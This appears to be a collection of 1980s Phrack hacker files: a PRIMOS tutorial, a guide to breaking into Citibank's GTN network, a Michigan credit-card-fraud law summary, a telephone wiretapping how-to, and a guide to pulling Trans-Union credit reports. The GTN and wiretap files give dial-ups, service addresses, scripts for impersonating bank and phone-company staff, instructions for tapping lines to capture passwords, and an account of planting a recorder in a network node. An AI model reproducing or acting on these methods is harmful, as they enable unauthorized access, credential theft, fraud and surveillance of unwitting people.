This file is written in a form to teach beginners as well as experienced Primos users about the system. It is written primarily for beginners however. PRIMOS, contrary to popular belief can be a very powerful system if used correctly. I have outlined some VERY BASIC commands and their use in this file along with some extra commands, not so BASIC.

Logging On To A PRIMOS:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A PRIMOS system is best recognized by its unusual prompts. These are: 'OK', and 'ER!'. Once connected, these are not the prompts you get.The System should identify itself with a login such as:

Primenet V2.3

‑or‑

Primecom Network

The system then expects someinput from you,preferably: LOGIN. You will then be asked to enteryour user identification and password as a security measure. The login onto a PRIMOS is as follows:

CONNECT

Primenet V 2.3 (system)

LOGIN<CR> (you)

User id? (system)

AA1234 (you)

Password? (system)

KILLME (you)

OK, (system)

Preceding the OK, will be the systems opening message.Note that if you fail to type login once connected, most other commands are ignored and the system responds with:

Please Login

ER!

Logging Off Of A PRIMOS:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If at any time you get bored with Primos, just type 'LOGOFF' to leave the system.Some systems have a TIMEOUT feature implemented meaning that if you fail to type anything for the specified amount of time the system will automatically log you out, telling you something like:

Maximum Inactive Time Limit Exceeded

System Prompts:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As stated previously, the prompts 'ER!' and 'OK,' are used on Primos. The 'OK,' denotes that last command was executed properly and it is now waiting for your next command. The 'ER!' prompt denotes that you made an error in typingyour last command. This prompt is usually precededby anerror message.

Special Characters:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Some terminals have certain characteristics that are built in to the terminal. key

CONTROL‑H

Deletes the last character typed.

Other Special Characters:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

RETURN:The return key signals PRIMOS that you have completed typing a command and that you are ready for PRIMOS to process the command.

BREAK/CONTROL‑P: Stops whatever is currently being processed in memory and will return PRIMOS to your control. To restart a process, type:

START (abbreviated with S).

CONTROL‑S: Stops the scrolling of the output on your terminal for viewing.

CONTROL‑Q: Resumes the output scrolling on your terminal for inspection.

SEMICOLON ';':The logical end of line character. The semicolon is used to enter more than one command on one line.

Getting Help:

‑‑‑‑‑‑‑‑‑‑‑‑‑

You can get on‑line information about the available PRIMOS commands by using the 'HELP' command. The HELP system is keyword driven.That is, all information is stored under keywords that indicate the content of the help files.This is similar to VAX.Entering the single command 'HELP' will enter the HELP sub‑system and will display an informative page of text. The next page displayed will provide you with a list of topics and their keywords. These topics include such items as PRIME, RAP, MAIL, and DOC. If you entered the MAIL keyword, you would be given information concerning the mail subsystem available to users on P simply enter PRIME to obtain information on all PRIMOS commands. You could then enter COPY to obtain information on that specific topic.

Files And Directories:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The name of a file or sub‑directory may have up to 32 characters. The filename may contain any of the following characters, with the only restriction being that the first character of the filename may not be a digit. Please note that BLANK spaces are NOT allowed ANYWHERE:

A‑Z .....alphabet

0‑9 .....numeric digits

& .....ampersand

# .....pound sign

$ .....dollar sign

‑ .....dash/minus sign

* .....asterisk/star

. .....period/dot

/ .....slash/divide sign

Naming Conventions:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are very few restrictions on the name that you may give a file. However, you should note that many of the compilers (language processors) and commands on the PRIME will make certain assumptions if you follow certain guidelines. File name suffixes help to identify the file contents with regard to the language the source code was written in and the contents of the file. For instance, if you wrote a PL/1 program and named the file containing the source code 'PROG1.PL1' (SEGmented loader) would take the binary file, link all the binary libraries that you specify and produce a file named 'PROG1.SEG', which would contain the binary code necessary to execute the program. Some common filename suffixes are: F77, PAS, COBOL, PL1G, BASIC, FTN, CC, SPIT (source files).These all denote separate languages and get into more advanced programming on PRIMOS. (e.g. FTN=Fortran).

BIN=the binary code produced by the compiler

LIST=the program listing produced by the compiler

SEG=the linked binary code produced by SEG

Some files which do not use standard suffixes may instead use the filename prefixes to identify the contents of the file.Some common filename prefixes are:

B Binary code produced by the compiler

L source program Listing

C Command files

$ Temporary work files (e.g. T$0000)

# Seg files

Commands For File Handling:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PRIMOS has several commands to control and access files and file contents. These commands can be used to list the contents of files and directories, and to copy, add, delete, edit, and print the contents of files. The capitalized letters of each are deleted. A LIST must be enclosed in parenthesis.

Close arg....Closes the file specified by 'arg'. 'Arg' could also be a list of PRIMOS file unit numbers, or the word 'ALL' which closes all open files and units.

LIMITS....Displays information about the login account, including information about resources allocated and used, grantor, and expiration date.

Edit Access....Edits the Access rights for the named directories and files.

CName arg1 arg2....Changes the Name of 'arg1' to 'arg2'. The arguments can be files or directories.

LD....The List Directory command has several arguments that allow for controlled listing format and selection of entries.

Attach arg....allows you to Attach to the directory 'arg' with the access rights specified in the directory Access Control List.

DOWN <arg>....allows you to go 'DOWN into' a sub‑ufd (directory). You can specify which one of several sub‑ufds to descend into with the optional 'arg'.

UP <arg> ....allows you to go 'UP into' a higher ufd (directory). You can specify which one of several to climb into with the optional 'arg'.

WHERE....Displays what the current directory attach point is and your access rights.

CREATE arg....CREATES a new sub‑directory as specified by 'arg'.

COPY arg1 arg2....COPIES the file or directory specified by 'arg1' into a file by the same name specified by 'arg2'. Both 'arg1' and 'arg2' can be filename with the SPOOL command, whose format is:

SPOOL filename ‑AT destination

where filename is the name of the file you want printed, and destination is the name of the printer where you want the file printed.For example if you want the file 'HACK.FTN' printed at the destination 'LIB' type:

SPOOL HACK.FTN ‑AT LIB

PRIMOS then gives you some information telling you that the file named was SPOOLed and the length of the file in PRIMOS records. To see the entries in the SPOOL queue, type:

SPOOL ‑LIST

PRIMOS then lists out all the files waiting to be printed on the printers on your login system. Also included in this information will be the filename of the files waiting to print, the login account name of the user who SPOOLed the file, the time that the file was SPOOLed, the size of the file in PRIMOS records, and the printer name where the file is to print.

Changing The Password Of An Account:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you wish to change the password to your newly acquired account you must use the 'CPW' command (Change PassWord). To do this enter the current password on the command line followed by RETURN. PRIMOS will then prompt you for your desired NEW password and then ask you to confirm your NEW password. To change your password of 'JOE' to 'SCHMOE' then type:

OK,(system)

CPW JOE(you)

New Password?(system)

You can save a copy of your terminal session by using the COMO (COMmand Output) command. When you type:

COMO filename

Everything which is typed or displayed on your terminal is saved (recorded) into the filename on the command line (filename). If a file by the same name exists, then that file will be REPLACED with NO WARNING GIVEN!When you have finished doing whatever it was you wanted a hardcopy of, you type:

COMO ‑End

which will stop recording your session and will close the COMO file. You can now print the COMO file using the SPOOL command as stated earlier.

Conclusion:

‑‑‑‑‑‑‑‑‑‑‑

This concludesthis first file on PRIMOS. Please remember this file is written primarily for beginners, and some of the text may have seemed BORING! However, this filewaswrittenina verbose fashion to FULLYINTRODUCEPRIMOS to beginners. Part II will deal with more the several languages on PRIMOS and some other commands.

Author's Endnote:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I would like to thank the following people for the help in writing this file:

AMADEUS (an oldie who is LONG GONE!)

The University Of Kentucky

State University Of New York (SUNY) Primenet

And countless others.....

Questions, threats, or suggestions to direct towards me, I can be found on any of the following:

The Freeworld ][.........301‑668‑7657

Digital Logic............305‑395‑6906

The Executive Inn........915‑581‑5146

OSUNY BBS................914‑725‑4060

‑=*< Cosmos Kid >*=‑

Hacking GTN

===== Phrack Magazine presents Phrack 16 ===== ===== File 4 of 12 =====

Hacking the Global Telecommunications Network Researched and written by: The Kurgan Compiled on 10/5/87

Network Procedure Differences

The Global Telecommunications Network (GTN) is Citibanks's international data network, which allows Citicorp customers and personnel to access Citibank's worldwide computerized services.

Two different sign on procedures exist: Type A and Type B. All users, except some in the U.S., must use Type B. (U.S. users: the number you dial into and the Welcome Banner youreceivedetermine what sign‑on procedure to follow.) Welcome banners are as follows:

TYPE A:

WELCOME TO CITIBANK. PLEASE SIGN ON.

XXXXXXXX

@

PASSWORD =

@

TYPE B:

PLEASE ENTER YOUR ID:‑1‑>

PLEASE ENTER YOUR PASSWORD:‑2‑>

CITICORP (CITY NAME). KEY GHELP FOR HELP.

XXX.XXX

PLEASE SELECT SERVICE REQUIRED.‑3‑>

Type A User Commands

User commands are either instructions or information you send to the network for it to follow. The commands available are listed below.

User Action: Purpose:

@ (CR)To put you in command mode (mode in which you can put your currently active service on hold and ask the network for information, or log‑off the service). (NOTE: This symbol also serves as the network prompt; see Type A messages.)

BYE (CR) To leave service from command mode.

Continue (CR) To return to application from command mode (off hold)

D (CR)To leave service from command mode.

IDTo be recognized as a user by the network (beginning of sign on procedure), type ID, then a space and your assigned network ID. (Usually 5 or 6 characters long)

Status (CR)To see a listing of network address (only from @ prompt). You need this address when "reporting a problem."

Type A messages

The network displays a variety of messages on your screen which either require a user command or provide you with information.

Screen shows: Explanation:

@ Network prompt ‑‑ request for Network ID.

BAD PASSWORD Network does not except your password.

<address> BUSYThe address is busy, try back later.

WELCOME TO CITIBANK.Network welcome banner.Second line provides address PLEASE SIGN ON.# to be used when reporting "problems."

XXX.XXX

<address> ILLEGALYou typed in an address that doesn't exist.

<address> CONNECTEDYour connection has been established.

DISCONNECTEDYour connect has been disconnected.

NOT CONNECTEDYou're not connected to any service at the time.

NUI REQUIREDEnter your network user ID.

PASSWORD =Request for your assigned password.

STILL CONNECTEDYou are still connected to the service you were using.

?Network doesn't understand your entry.

Type B User Commands and Messages

Since the Type B procedure is used with GTN dial‑ups, it requires fewer commands to control the network. There is only 1 Type B command. Break plus (CR) allows you to retain connection to one service, and connect with another.

Screen Shows: Explanation:

CITICORP (CITY NAME).Network Welcome banner.Type in service address. PLEASE SELECT SERVICE

COM Connection made.

DER The port is closed out of order, or no open routes are available.

DISCONNECTED You have disconnected from the service and the network.

ERR Error in service selected.

INV Error in system.

MOM Wait, the connection is being made.

NA Not authorized for this service.

NC Circuits busy, try again.

NP Check service address.

OCC Service busy, try again.

Sign‑on Procedures:

There are two types of sign on procedures. Type A and Type B.

Type A:

To log onto a system with type A logon procedure, the easiest way is through Telenet. Dial your local Telenet port.When you receive the "@" prompt, type in the Type‑A service address (found later in the article) then follow the instructions from there on.

Type‑B:

Dial the your GTN telephone #, then hit return twice. You will then see:

"PLEASE ENTER YOUR ID:‑1‑>"

Type in a network ID number and hit return.

You will then see

"PLEASE ENTER YOUR PASSWORD:‑2‑>"

Type in Network Password and hit return.

Finally you will see the "CITICORP (city name)" welcome banner, and it will ask you to select the service you wish to log onto. Type the address and hit return. (A list of addresses will be provided later)

Trouble Shooting:

If you should run into any problems, the Citicorp personnel will gladly help their "employees" with any questions. Just pretend you work for Citibank and they will give you a lot. This has been tried and tested.Many times, when you attempt to log on to a system and you make a mistake with the password, the system will give you a number to call for help. Call it and tell them that you forgot your pass or something. It usually works, since they don't expect people to be lying to them. If you have any questions about the network itself, call 305‑975‑5223.It is the Technical Operations Center (TOC) in Pompano, Florida.

Dial‑Ups:

The following list of dial‑ups is for North America. I have a list of others, but I don't think that they would be required by anyone. Remember: Dial‑ups require Type‑B log‑on procedure. Type‑A is available on systems accessible through Telenet.

Canada Toronto416‑947‑2992 (1200 Baud V.22 Modem Standard) U.S.A. Los Angeles 213‑629‑4025 (300/1200 Baud U.S.A. Modem Standard) Jersey City 201‑798‑8500

New York City 212‑269‑1274

212‑809‑1164

Service Addresses:

The following is a VERY short list of just some of the 100's of service addresses. In a later issue I will publish a complete list.

Application Name: Type‑A Type‑B

CITIADVICE 2240001600 CADV

CITIBANKING ATHENS 2240004000 :30

CITIBANKING PARIS 2240003300 :33

CITIBANKING TOKYO 2240008100:81

CITICASH MANAGER

INTERNATIONAL 1 (NAFG CORP) 2240001200 CCM1 INTERNATIONAL 7 (DFI/WELLS FARGO) 2240013700 CCM7

COMPMARK ON‑LINE 2240002000CS4

ECONOMIC WEEK ON‑LINE2240011100FAME1

INFOPOOL/INFOTEXT 2240003800IP

EXAMPLE OF LOGON PROCEDURE:

THE FOLLOWING IS THE BUFFERED TEXT OF A LOG‑ON TO CITIBANKING PARIS THROUGH TELENET.

CONNECT 1200

TELENET

216 13.41

TERMINAL=VT100

@2240003300

223 90331E CONNECTED

ENTER TYPE NUMBER OR RETURN

TYPE B IS BEEHIVE DM20

TYPE 1 IS DEC VT100

TYPE A IS DEC VT100 ADV VIDEO

TYPE 5 IS DEC VT52

TYPE C IS CIFER 2684

TYPE 3 IS LSI ADM 3A

TYPE L IS LSI ADM 31

TYPE I IS IBM 3101

TYPE H IS HP 2621

TYPE P IS PERKIN ELMER 1200

TYPE K IS PRINTER KEYBOARD

TYPE M IS MAI BASIC 4

TYPE T IS TELEVIDEO 9XX

TYPE V IS VOLKER CRAIG 4404

TYPE S IS SORD MICRO WITH CBMP

RELEASE BSC9.5 ‑ 06JUN85

FOR 300 BAUD KEY ! AND CARRIAGE RETURN

CONFIG.K1.1‑I11H‑R‑C‑B128

ENTER TYPE NUMBER OR RETURN K

CONNECTED TO CITIBANK PARIS ‑ CBP1 ,PORT 5

Credit Card Laws Laws

===== Phrack Magazine presents Phrack 16 ===== ===== File 5 of 12 =====

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| The Laws Governing Credit Card Fraud|

| |

|Written by Tom Brokaw|

| September 19, 1987|

| |

|Written exclusively for: |

| Phrack Magazine |

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(A Tom Brokaw/Disk Jockey Law File Production)

Introduction:

‑‑‑‑‑‑‑‑‑‑‑‑

In this article, I will try to explain the laws concerning the illegal use of credit cards. Explained will be the Michigan legislative view on the misuse and definition of credit cards.

Definition:

‑‑‑‑‑‑‑‑‑‑

Well, Michigan Law section 157, defines a credit card as "Any instrument or device which is sold, issued or otherwise distributed by a business organization identified thereon for obtaining goods, property, services or anything of value." A credit card holder is defined as: 1) "The person or organization who requests a credit card and to whom or for whose benefit a credit card is subsequently issued" or2) "The person or organization to whom a credit card was issued andwho uses a credit card whether the issuance of the credit card was requested or not."In other words, if the company or individual is issued a card, once using it, they automatically agree to all the laws and conditions that bind it.

Stealing, Removing, Retaining or Concealment:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Michigan Law states, that it is illegal to "steal, knowingly take or remove a credit card from a card holder." It also states that it is wrongful to "conceal a credit card without the consent of the card holder." Notice that it doesn't say anything about carbons or numbers acquired from BBSes, but I think that it could be considered part of the laws governing the access of a persons account without the knowledge of the cardholder, as described above.

Possession with Intent to Circulate or Sell

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The law states that it is illegal to possess or have under one's control, or receive a credit card if hisintent is to circulate or sell the card. It is also illegal to deliver, circulate or sell a credit card, knowing that such a possession, control or receipt without the cardholders consent, shall be guilty of a FELONY. Notice again, they say nothing about possession of carbons or numbers directly. It also does not clearly state what circulation or possession is, so we can only stipulate. All it says is that possession of a card (material plastic) is illegal.

Fraud, forgery, material alteration, counterfeiting.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

However, it might not be clearly illegal to possess a carbon or CC number.It IS illegal to defraud a credit card holder. Michigan law states that any person who, with intent to defraud, forge, materially alter or counterfeit a credit card, shall be guilty of a felony.

Revoked or cancelled card, use with intent to defraud.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This states that "Any person who knowingly and with intent to defraud for the purpose of obtaining goods, property or services or anything of value on a credit card which has been revoked or cancelled or reported stolen by the issuer or issuee, has been notified of the cancellation by registered or certified mail or by another personal service shall be fined not more than $1,000 and not imprisoned not more than a year, or both. However, it does not clearly say if it is a felony or misdemeanor or civil infraction. My guess is that it would be dependant on the amount and means that you used and received when you defraud thecompany. Usually, if it isunder$100, it is a misdemeanor but if it is over $100, it is a felony. I guess they figure that you should know these things.

The People of The State of Michigan vs. Anderson (possession)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On April 4, 1980, H. Anderson attempted to purchase a pair of pants at Danny's Fashion Shops, in the Detroit area. He went up to the cashier to pay for the pants and the cashier asked him if he had permission to use the credit card. He said "No, I won it last night in a card game". The guy said that I could purchase $50 dollars worth of goods to pay back the debt.At the same time, he presumed the card to be a valid one and not stolen. Well, as it turned out it was stolen but he had no knowledge of this. Later, he went to court and pleased guilty of attempted possession of a credit card of another with intent or circulate or sell the same. At the guilty hearings, Mr. Anderson stated that the credit card that he attempted to use had been acquired by him in payment of a gambling debt and assumed that the person was the owner. The trial court accepted his plea of guilty.At the sentencing, Mr. Anderson, denied that he had any criminal intent. Anderson appealed the decision stating that the court had erred by accepting his plea of guilty on the basis of insufficient factual data.Therefore, the trial court should not have convicted him of attempted possession and reversed the charges.

The People of the State of Michigan vs. Willie Dockery

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On June 23, 1977, Willie Dockery attempted to purchase gas at a Sears gas stationby using a stolen credit card. The attendant noticed that his driver's license picture was pasted on and notifiedthe police. Dockery stated that he had found the credit card and the license at an intersection, in the city of Flint. He admitted thathe knowingly used the credit card and driver's license without the consent of the owner but he said that he only had purchased gasoline onthe card. Itturnsout that the credit card and driver's license was stolen from a man, whose grocery store had been robbed. Dockery said that he had no knowledge of the robbery and previous charges on the cardwhich totalled$1,373.21. He admitted that he did paste his picture on the driver's license. Butagain the court screws up, they receive evidence that the defendant had a record of felonies dating back to when he was sixteen and then assumed that he was guilty onthe basis of his prior offenses. The judge later said that the present sentence could not stand in this court so the case was referred to another court.

Conclusion

‑‑‑‑‑‑‑‑‑‑

I hope that I have given you a better understanding about the law, that considers the illegal aspects of using credit cards. All this information was taken from The Michigan Compiled Laws Annotated Volume 754.157a‑s and from The Michigan Appeals Report.

In my next file I will talk about the laws concerning Check Fraud.

Tapping Telephone Lines

===== Phrack Magazine presents Phrack 16 ===== ===== File 6 of 12 =====

****************************************

* *

* Tapping Telephone Lines *

* *

* Voice or Data *

* *

*For Phun, Money, and Passwords*

* *

* Or How to Go to Jail for a Long Time. *

* *

****************************************

Written by Agent Steal 08/87

Included in this file is...

* Equipment needed

* Where to buy it

* How to connect it

* How to read recorded data

But wait!! There's more!!

* How I found a Tymnet node

* How I got in

*************

THE EQUIPMENT

*************

First thing you need isan audio taperecorder. What you will be recording, whether it be voice or data, willbe in an analog audio format. >From now on, most referenceswill betowards data recording. Most standard cassette recorders will work just fine. However, you are limited to 1 hour recording timeper side. This can present a problem in some situations. A reel to reel can also be used.The limitations here are size and availability of A.C.Also, some reel to reels lack a remote jack that will be used to start and stopthe recorder while the line is beingused.This may not presenta problem. More later. The two types of recorders I would advise staying away from (for data) are the micro cassette recorders and the standard cassette recorders that have been modified for 8 to 10 hour record time. The speed of theseunits is too unstable.The next item you need, oddly enough, is sold by Radio Shack under the name "Telephone recording control" part # 43‑236 $24.95. See page 153 of the 1987 Radio Shack catalog.

*****************

HOW TO CONNECT IT

*****************

The Telephone recording control (TRC) has 3 wires coming out of it.

#1 Telco wire with modular jack. Cut this and replace with alligator clips.

#2 Audio wire with miniature phone jack (not telephone). This plugs into the microphone level input jack of the tape recorder.

#3 Audio wire with sub miniature phone jack.This plugs into the "REM" or remote control jack of the tape recorder.

Now all you need to do is find the telephone line, connect the alligator clips, turn the recorder on, and come back later. Whenever the line goes off hook, the recorder starts. It's that simple.

****************

READING THE DATA

****************

This is the tricky part. Different modems and different software respond differently but there are basics. The modem should be connected as usual to the telco line and computer. Now connect the speaker output of the tape player directly to the telephone line.Pick up the phone and dial the high side of a loop so your line doesn't make a lot of noise and garble up your data. Now, command your modem into the answer mode and press play. The tape should be lined up at the beginning of the recorded phone call, naturally, so you can see the login.Only one side of the transmission between the host and terminal can be monitored at a time. Going to the originate mode you will see what the host transmitted. This will include the echoes of the terminal. Of course the password will be echoed as ####### for example, but going to the answer mode will display exactly what the terminal typed. You'll understand when you see it. A couple of problems you might run into will be hum and garbage characters on the screen. Try connecting the speaker output to the microphone of the hand set in your phone. Use a 1 to 1 coupling transformer between the tape player input and the TRC audio output.These problems are usually caused when using A.C. powered equipment. The common ground of this equipment interferes with the telco ground which is D.C. based.

I was a little reluctant to write this file because I have been unsuccessful in reading any of the 1200 baud data I have recorded. I have spoke with engineers and techs.Even one of the engineers who designs modems. All of them agree that it IS possible, but can't tell me why I am unable to do this. I believe that the problems is in my cheap ass modem. One tech told me I needed a modem with phase equalization circuitry which is found in most expensive 2400 baud modems. Well one of these days I'll find $500 lying on the street and I'll have nothing better to spend it on!Ha! Actually, I have a plan and that's another file.....

I should point out one way of reading 1200 baud data. This should work in theory, however, I have not attempted it.

Any fully Hayes compatible modem has a command that shuts off the carrier and allows you to monitor the phone line. The command is ATS10. You would then type either answer or originate depending on who you wanted to monitor. It would be possible to write a program that records the first 300 or so characters then writes it to disk, thus allowing unattended operation.

**************

HOW CRAZY I AM

**************

PASSWORDS GALORE!!!!

After numerous calls to several Bell offices, I found the one that handled Tymnet's account. Here's a rough transcript:

Op: Pacific Bell priority customer order dept.How may I help you? Me: Good Morning, this is Mr. Miller with Tymnet Inc.We're interested in adding some service to our x town location.

Op: I'll be happy to help you Mr. Miller.

Me: I need to know how many lines we have coming in on our rotary and if we have extra pairs on our trunk. We are considering adding ten additional lines on that rotary and maybe some FX service.

Op: Ok....What's the number this is referenced to?

Me: xxx‑xxx‑xxxx (local node #)

Op: Hold on a min....Ok bla, bla, bla.

Well you get the idea. Anyway, after asking her a few more unimportant questions I asked her for the address.No problem, she didn't even hesitate. Of course this could have been avoided if the CN/A in my area would give out addresses, but they don't, just listings. Dressed in my best telco outfit, Pac*Bell baseball cap, tool belt and test set, I was out the door. There it was, just an office building, even had a computerstore in it.After exploring the building for awhile, I found it.A large steel door with a push button lock. Back to the phone. After finding the number where the service techs were I called it and talked to the tech manager.

Mgr: Hello this is Joe Moron.

Me: Hi this is Mr. Miller (I like that name) with Pacific Bell. I'm down here at your x town node and we're having problems locating a gas leak in one of our Trunks. I believe our trunk terminates pressurization in your room.

Mgr: I'm not sure...

Me: Well could you have someone meet me down here or give me the entry code? Mgr: Sure the code is 1234.

Me: Thanks, I'll let you know if there's any trouble.

So, I ran home, got my VCR (stereo), and picked up another TRC from Trash Shack.I connected the VCR tothe first two incoming lines on the rotary. One went to each channel (left,right).Since the volume of calls is almost consistent, it wasn't necessary to stop the recorder between calls. I just let it run. I would come back the next day to change the tape.The VCR was placed under the floor in case a tech happened to come by for maintenance. These nodes are little computer rooms with air conditioners and raised floors. The modems and packet switching equipment are all rack mounted behind glass. Also, most of the nodes are unmanned. What did I get?Well a lot of the logins were 1200, so I never found out what they were.Still have 'em on tape though!Also a large portion of traffic on both Tymnet and Telenet is those little credit card verification machines calling up Visa or Amex. The transaction takes about 30 secs and there are 100's on my tapes. The rest is as follows:

Easylink CompuServeQuantumlink3Mmail

PeopleLinkHomebanking USPSChrysler parts order Yamaha Ford Dow Jones

And a few other misc. systems of little interest. I'm sure if I was persistent, I'd get something a little more interesting. I spent several months trying to figure out my 1200 baud problem. When I went back down there the code had been changed. Why? Well I didn't want to find out. I was out of there! I had told a couple of people who I later found could not be trusted. Oh well. Better safe than sorry.

**************************************

Well, if you need to reach me,try my VMS at 415‑338‑7000 box 8130.But no telling how long that will last. And of course there's always P‑80 systems at 304‑744‑2253. Probably be there forever. Thanks Scan Man, whoever you are. Also read my file on telco local loop wiring. It will help you understand how to find the line you are looking for. It should be called Telcowiring.Txt

Reading Trans-Union Credit Reports

===== Phrack Magazine presents Phrack 16 ===== ===== File 7 of 12 =====

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ The Disk Jockey ‑

‑ presents:‑

‑ ‑

‑ Reading Trans‑Union Reports: ‑

‑A lesson in terms used ‑

‑(A 2af presentation) ‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This file is dedicated to all the phreaks/hacks that were busted in the summer of 1987, perhaps one of the most crippling summers ever for us.

Preface:

‑‑‑‑‑‑‑

Trans‑Union is a credit service much like CBI, TRW or Chilton, but offers more competitive rates, and is being used more and more by many credit checking agencies.

Logging in:

‑‑‑‑‑‑‑‑‑‑

Call one of the Trans Union dial‑ups at 300,E,7,1, Half Duplex. Such a dial‑up is 314‑XXX‑XXXX. After connecting, hit Ctrl‑S.The system will echo back a 'GO ' and then awaits you to begin the procedure of entering the account and password, then mode, i.e.: S F1111,111,H,T. The systemwill then tell youwhat databaseyou are logged on to, which ismostly insignificant for your use. To then pull areport,you would type the following: P JONES,JIM* 2600,STREET,CHICAGO,IL,60604** <Ctrl‑S>. The name is Jim Jones, 2600 is his street address, street is the street name, Chicago is the city, IL is the state, 60604 is the zip.

The Report:

‑‑‑‑‑‑‑‑‑‑

The report will come out, and will look rather odd, with all types of notation. An example of a Visa card would be:

SUB NAME/ACCT#SUB#OPENDHICR DTRP/TERM BAL/MAX.DEL PAY.PAT MOP

CITIBANK B453411 3/87$10009/87A$0 12111 R01 4128XXXXXXXXX$15005/87$120

Ok, Citibank is the issuing bank. B453411 is their subscriber code. 3/87 is when the account was opened. HICR is the most that has been spent on that card. 9/87 is when the report was last updated (usually monthly if active). $1000 is the credit line. $0 is the current balance. 12111 is the payment pattern, where 1=pays in 30 days and 2=pays in 60 days. R01 means that it is a "Revolving" account, meaning that he can make payments rather than pay the entire bill at once. 4128‑etc is his account number (card number). $1500 is his credit line. 5/87 is when he was late on a payment last. $120 is the amount that he was late with.

Here is a list of terms that will help you identify and understand the reports better:

ECOA Inquiry and Account Designators

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I Individual account for sole use of applicant

C Joint spousal contractual liability

A Authorized user of shared account

P Participant in use of account that is neither C nor A

S Co‑signer, not spouse

M Maker primarily liable for account, co‑signer involved

T Relationship with account terminated

U Undesignated

N Non‑Applicant spouse inquiry

Remarks and FCBA Dispute Codes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

AJP Adjustment pending

BKL Bankruptcy loss

CCA Consumer counseling account

CLA Placed for collection

CLO Closed to further purchases

CTS Contact Subscriber

DIS Dispute following resolution

DRP Dispute resolution pending

FCL Foreclosure

MOV Moved, left no forwarding address

ND No dispute

PRL Profit and loss write‑off

RFN Account refinanced

RLD Repossession, paid by dealer

RLP Repossession, proceeds applied towards debt

RPO Repossession

RRE Repossession, redeemed

RS Dispute resolved

RVD Returned voluntarily, paid by dealer

RVN Returned voluntarily

RVP Returned voluntarily, proceeds go towards debt

RVR Returned voluntarily, redeemed

SET Settled for less than full balance

STL Plate (card) stolen or lost

TRF Transferred to another office

Type of Account

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

O Open account (30 or 90 days)

R Revolving or option account (open‑end)

I Installment (fixed number of payments)

M Mortgage

C Check credit (line of credit at a bank)

Usual Manner of Payment

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

00 Too new to rate; approved, but not used or not rated

01 Pays (or paid) within 30 days of billing, pays accounts as agreed 02 Pays in more than 30 days, but not more than 60 days

03 Pays in more than 60 days, but not more than 90 days

04 Pays in more than 90 days, but not more than 120 days

05 Pays in 120 days or more

07 Makes payments under wage earner plan or similar arrangement 08 Repossession

8A Voluntary repossession

8D Legal repossession

8R Redeemed repossession

09 Bad debt; placed for collection; suit; judgement; skip

9B Placed for collection

UR Unrated

UC Unclassified

Kinds of Business Classification

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A Automotive

B Banks

C Clothing

D Department and variety

F Finance

G Groceries

H Home furnishings

I Insurance

J Jewelry and cameras

K Contractors

L Lumber, building materials

M Medical and related health

N National credit card

O Oil and national credit card

P Personal services other than medical

Q Mail order houses

R Real estate and public accommodations

S Sporting goods

T Farm and garden supplies

U Utilities and fuel

V Government

W Wholesale

X Advertising

Y Collection services

Z Miscellaneous

Type of Installment Loan

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

AF Appliance/Furniture

AP Airplane

AU Automobile

BT Boat

CA Camper

CL Credit line

CM Co‑maker

CO Consolidation

EQ Equipment

FH FHA contract loan

FS Finance statement

HI Home improvement

IN Insurance

LE Leases

MB Mobile home

MC Miscellaneous

MT Motor home

PI Property improvement plan

PL Personal loan

RE Real estate

ST Student loan

SV Savings bond, stock, etc.

US Unsecured

VA Veteran loan

Date Codes

‑‑‑‑‑‑‑‑‑‑

A Automated, most current information available

C Closed date

F Repossessed/Written off

M Further updates stopped

P Paid

R Reported data

S Date of last sale

V Verified date

Employment Verification Indicator

